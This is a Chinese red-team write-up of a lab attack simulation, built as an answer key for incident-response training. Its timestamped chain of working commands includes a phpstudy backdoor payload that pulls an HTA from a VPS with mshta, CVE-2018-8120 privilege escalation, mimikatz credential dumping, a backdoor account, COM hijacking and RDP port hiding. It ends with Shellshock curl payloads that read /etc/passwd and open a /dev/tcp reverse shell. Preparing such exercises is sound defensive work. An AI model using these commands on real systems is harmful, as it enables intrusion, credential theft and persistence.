本文为整个专题的第三篇,进入了攻击模拟的第II期。在本次攻击模拟中,引入了同一网段中的两台主机(Windows,以下简称W;Ubuntu,以下简称L),分别被两个攻击者攻击后,也导致对方遭受攻击。
为了方便后续的总结与复盘工作,给应急人员提供一份“参考答案”,详细的记录了每个攻击模拟动作的时间点和细节。但发现内容太多,故拆分为两个部分(上:W -> L;下:L -> W),本文为上部分的记述。
该部分主要由内部蓝军完成,攻击链路设计是 @exploitworld 负责,攻击模拟和报告编写由 @可达鸭 和 @番茄 负责,感谢为本篇文章提供素材。

01
—
攻击模拟说明
攻击模拟并非实战渗透,但又贴近于实战。真实的产生了攻击痕迹(日志),但为了让应急人员聚焦这部分日志,减少了其他操作。与真实情况相比,主要有两点区别:
整个攻击模拟专项,主要分为以下五个步骤:

02
—
攻击链设计
在第I期的基础上,引入了供应链软件攻击、内网横向攻击,同时加入两台不同操作系统的服务器进行双向攻击,让模拟更贴近实战、让应急响应场景更加复杂。
一般
复杂
攻击者拿下W机器后,在C段进行信息收集,发现同网段有一台存活的L主机。针对该主机进行扫描,探测到其存在shellshock漏洞,通过利用该漏洞从而拿到L主机权限。

03
—
资源准备
1台Windows2008 x64 R2(无补丁版本);
1台Ubuntu 16.04(Linux kernel 2.6.22<3.9,bash 4.3),与“W”处于同一个C段;
2台公网VPS。
04
—
攻击靶场搭建
漏洞环境分为两部分:
操作系统版本 | Web后端语言 | DB版本 | CMS版本 | 其他环境 |
|---|---|---|---|---|
Windows2008 x64 R2(无补丁版本) | PHP 5.2.17 | MySQL 5.6 | phpcms V9.6 | 1)Phpstudy2016/2018供应链后门版本2)HFS Rejetto 2.x版本3)3389端口默认关闭 |
Ubuntu 16.04(Linux kernel 2.6.22<3.9) | PHP 5.6 | MySQL 5.6 | FineCMS V5.0.6 | 1)GNU Bash 4.32)Apache 2.2.21 |
05
—
攻击模拟矩阵与能力图谱
后续内容较细较多,于是进行稍加总结做成一个简易的矩阵。同时想要表达出红蓝对所需的能力,因此在最后两列也稍加提炼。

06
—
实施攻击模拟
2021-10-28 15:16,使用TxPortMap对W进行端口扫描,发现开放80和3306端口

15:21,使用dirsearch对W进行文件目录扫描,发现phpinfo.php等页面

15:23,访问phpinfo.php发现使用了phpstudy及PHP的版本信息

15:28,尝试利用phpstudy后门漏洞,抓包phpinfo.php并加载payload(system(‘whoami’);)测试成功

15:31,加载hta后门payload进行cs上线
system('mshta http://vps:8080/seesee');base64编码:c3lzdGVtKCdtc2h0YSBodHRwOi8vdnBzOjgwODAvc2Vlc2VlJyk7 |
|---|

15:34,通过CS上传PHP大马set_checksum.php,并查看系统用户及域环境。E:\phpStudy\PHPTutorial\WWW\phpcms\install_package\api\set_checksum.php

15:34~15:39,访问http://W//phpcms/install_package/api/set_checksum.php,执⾏命令 net user、net config server和net config workstation ->得出结论:⽆域环境

16:13,通过CS将CVE-2018-8120本地提权工具上传到W的C:\Windows\Temp\Crashpad\reports\.C__V__E-2-0-1-8-8-1-2-0.exe
16:14,执行exp进行提权成功,执行whoami返回system权限

16:17,利用漏洞执行命令上线system权限的shell
C:\Windows\Temp\Crashpad\reports\.C__V__E-2-0-1-8-8-1-2-0.exe "mshta http://vps:8080/seesee" |
|---|

16:19,将system权限进程迁移到svhost进程进行伪装

16:21,利⽤cs的mimikatz抓取明⽂密码
shell mimikatz sekurlsa::logonpasswords |
|---|
16:23,添加后门账号DefaultAccount
net user "DefaultAccount" "password9ijn" /add |
|---|
17:31,通过修改注册表开启远程桌面登录
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections |
|---|

利⽤{42aedc87-2188-41fd-b9a3-0c966feabec1}组件,explorer触发(需第⼀次打开才可触发)。准备好⼀个弹cmd的dll(根据不同架构,此处为x64),名字修改为 api-ms-win-downlevel-1x64-l1-1-0.dll
17:36,新建⽂件夹,将dll放在新建的C:\ProgramData\Package Cache\{BCDE0395-E52F-467C-8E3DC4579291692E}⽬录

17:39,修改注册表,添加项HKEY_CURRENT_USER\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32,添加/修改数据:
C:\ProgramData\Package Cache\{BCDE0395-E52F-467C-8E3DC4579291692E}\api-ms-win-downlevel-1x86-l1-1-0.dllThreadingModel:Apartment |
|---|
17:41,测试com劫持弹出cmd

17:48,将W的3389端口转发到W的53端口进行隐藏:
netsh interface portproxy add v4tov4 listenport=53 listenaddress=W connectport=3389 connectaddress=W |
|---|
17:49,测试端口转发成功

18:02,上传名为“上传环境搭建.xlsm“的文件到C:\Users\Administrator\Documents\,留下样本痕迹。
查看地址解析情况arp –a,发现C段存活主机

18:05,上传扫描⼯具 TxPortMap_windows_amd64.exe 到 C:\Users\Administrator\AppData\Local\Google\Software Reporter Tool\reports\TxPortMap_windows_amd64.exe
18:10, 对其中一台L进行扫描,发现开启了web端口

18:12,目录枚举发现cgi-bin目录和status文件

18:15,访问/cgi-bin/status目录存在,尝试进行shellshock漏洞检测
curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://L:8080/cgibin/status |
|---|

18:20,通过利用bash漏洞反弹shell到VPS的80端口,并在VPS开启nc进行监听
curl -A '() { :; };echo; /bin/bash -i >& /dev/tcp/VPS/80 0>&1' http://L:8080/cgi-bin/status |
|---|

18:12,查看命令执行历史记录

18:31,查找用户有写权限的可执行文件并输出
find / -perm –u=s –type f 2>/dev/null |
|---|

07
—
环境备份
攻击完成之后,不再做其他的操作,立马对环境创建快照,以免过多操作给应急人员带来太多干扰。
但在本期中,需要将L -> W的部分完成之后再备份环境。在实际操作中,两个方向的攻击模拟同时进行。